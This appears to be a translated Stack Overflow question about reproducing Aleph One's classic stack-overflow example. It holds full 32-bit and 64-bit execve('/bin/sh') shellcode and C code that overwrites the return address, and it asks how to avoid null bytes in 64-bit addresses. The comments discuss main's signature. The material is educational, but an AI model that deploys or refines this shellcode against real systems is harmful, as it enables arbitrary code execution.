Я пытаюсь выполнить overflow1.c
из бумаги Smashing the Stack for Fun and Profit от Aleph One.
Исходный код overflow1.c:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
Этот код отлично работает в 32-битной системе.
Я изменил код для работы в 64-битной системе:
char shellcode[] = "\x48\x31\xc0" // xor %rax,%rax
"\x99" // cltd
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622fff,%rdi
"\xb0\x3b" // mov $0x3b,%al
"\x48\xc1\xef\x08" // shr $0x8,%rdi
"\x57" // push %rdi
"\x48\x89\xe7" // mov %rsp,%rdi
"\x57" // push %rdi
"\x52" // push %rdx
"\x48\x89\xe6" // mov %rsp,%rsi
"\x0f\x05"; // syscall
char large_string[144];
int main(void) {
char buffer[96];
int i;
long int *long_ptr = (long int *) large_string;
printf("0x%x", buffer);
for (i = 0; i < 18; i++)
*(long_ptr + i) = (long int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
Программа загружает только шеллкод, а затем перезаписывает адрес возврата адресом buffer
. Код работает как надо.
Однако здесь возникает проблема.
Предположим, что адрес buffer
в 64-битной системе равен 0x7fffffffdc10
, тогда long int
преобразует его в 0x00007fffffffdc10
. Когда это записывается в large_string
, 00
действует как ноль и завершает строку. Как мне преодолеть это?
Я не могу привести адрес только к целому числу, потому что 64-битные системы имеют 8-байтовые адреса, а не 4-байтовые. Как избежать нулевого символа «0x00»?
void main()
, а не правильныйint main(void)
? (Я понимаю, что вы пытаетесь разбить стек, так что, возможно, есть веская причина.) - person Keith Thompson   schedule 08.02.2015int main()
используется, чтобы вызывающий мог знать, какой был код выхода. Для меня код выхода не важен, потому что адрес возврата изменен и мой код выполняется. Однакоint main()
все еще можно использовать, и стек все равно будет разбит. Я просто следую коду статьи как можно точнее. - person Karthik Balakrishnan   schedule 08.02.2015int main(void)
определяется стандартом C, как иint main(int argc, char *argv[])
.void main()
может быть разрешено некоторыми компиляторами, но обычно это признак того, что автор не очень хорошо знает язык. - person Keith Thompson   schedule 08.02.2015